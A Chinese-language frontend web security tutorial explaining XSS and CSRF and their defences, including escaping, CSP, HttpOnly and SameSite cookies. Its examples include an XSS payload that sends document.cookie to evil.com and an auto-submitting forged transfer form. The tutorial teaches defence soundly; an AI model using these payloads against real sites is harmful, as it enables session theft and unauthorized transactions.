为什么前端也要懂安全

安全不只是后端和运维的事。前端直接面对用户输入和浏览器环境,大量真实漏洞恰恰发生在"把不可信数据直接渲染到页面"这一步。只要页面会展示用户提交的内容、URL 参数、第三方接口返回,前端就站在防线上。理解两类最常见的前端漏洞——XSS 与 CSRF,再配上 HTTPS 与安全响应头,就能挡住绝大多数初级攻击。

安全的核心直觉只有一条:永远不要相信任何输入,无论是来自用户、URL 还是第三方接口。
本文核心漏洞速览
  • XSS把恶意脚本注入页面,在受害者浏览器里执行。
  • CSRF冒用已登录用户的身份,在他不知情时发起请求。
  • HTTPS加密传输,防止中间人窃听与篡改。
  • 响应头用 CSP、SameSite 等策略给页面加护栏。
Web 安全配图:蓝色渐变背景中央一个发光盾牌,盾牌中心镶嵌挂锁,后方是抽象浏览器窗口轮廓,两侧加密数据流锁链
盾牌加挂锁护住浏览器,两侧加密数据流贯穿——这就是 Web 安全在页面层的样子。

XSS:让脚本在别人浏览器里跑

XSS(跨站脚本)的本质是:攻击者把一段恶意脚本混进页面,当其他用户打开这个页面时,脚本在他们的浏览器里执行。比如一个评论区,如果直接把用户填的内容塞进 HTML,攻击者留言一段 <script>窃取 Cookie</script>,之后每个看到这条评论的人都会中招。

// 危险写法:用户输入被原样拼进页面
document.getElementById("comment").innerHTML = userInput;

// 假如 userInput 是:
// <img src=x onerror="fetch('//evil.com/?c='+document.cookie)">
// 图片加载失败时,onerror 里的脚本就把 Cookie 发走了

XSS 能做的远比显示弹窗严重:偷取登录态、冒充用户操作、篡改页面内容。它分两类:存储型(恶意脚本被存进数据库,长期危害所有访客)最危险;反射型(恶意脚本藏在 URL 参数里,诱导用户点一次)次之。

XSS 的防护:转义、CSP 与 HttpOnly

防线有三层,缺一不可。第一层是输出转义:把 <、>、&、引号等特殊字符转成实体,让浏览器把它们当文本而不是代码渲染。现代框架(React、Vue)默认对插值做转义,风险大降;自己拼 HTML 时则要格外小心,尽量不用 innerHTML 塞不可信数据。

第二层是内容安全策略 CSP:通过响应头告诉浏览器"只允许加载同源脚本、禁止内联脚本",即使有人注入了脚本,浏览器也拒绝执行。第三层是 Cookie 加 HttpOnly:让登录 Cookie 无法被 JavaScript 读取,这样脚本就算被注入也偷不走登录态。

CSRF:借你的身份发请求

CSRF(跨站请求伪造)利用的是浏览器的一个默认行为:你登录了某网站之后,浏览器会自动在后续请求里带上你的 Cookie。攻击者只要诱导你在登录状态下访问他的页面,那个页面里藏一个自动提交的表单,指向"转账"或"改密码"接口,浏览器就会带着你的 Cookie 把请求发出去,服务端以为是你本人操作。

<!-- 攻击者页面里藏的内容 -->
<form action="https://bank.example/transfer" method="POST">
  <input name="to" value="hacker">
  <input name="amount" value="10000">
</form>
<script>document.forms[0].submit();</script>

和 XSS 的区别在于:XSS 是把别人的脚本塞进你的站点执行;CSRF 是借你的登录身份去调用你的接口。

CSRF 的防护:Token 与 SameSite

核心思路是:让攻击者伪造的请求拿不到一个只有你站点才知道的秘密。最经典的办法是 CSRF Token:服务端给页面下发一个随机令牌,提交请求时必须带上它;跨站页面拿不到这个令牌,请求就被拒绝。

更省事的现代手段是给 Cookie 设置 SameSite 属性:设为 Lax 或 Strict 后,跨站发起的请求不会自动带上 Cookie,CSRF 立刻失效。再配合校验请求的 Origin 或 Referer 头,基本能挡住这类攻击。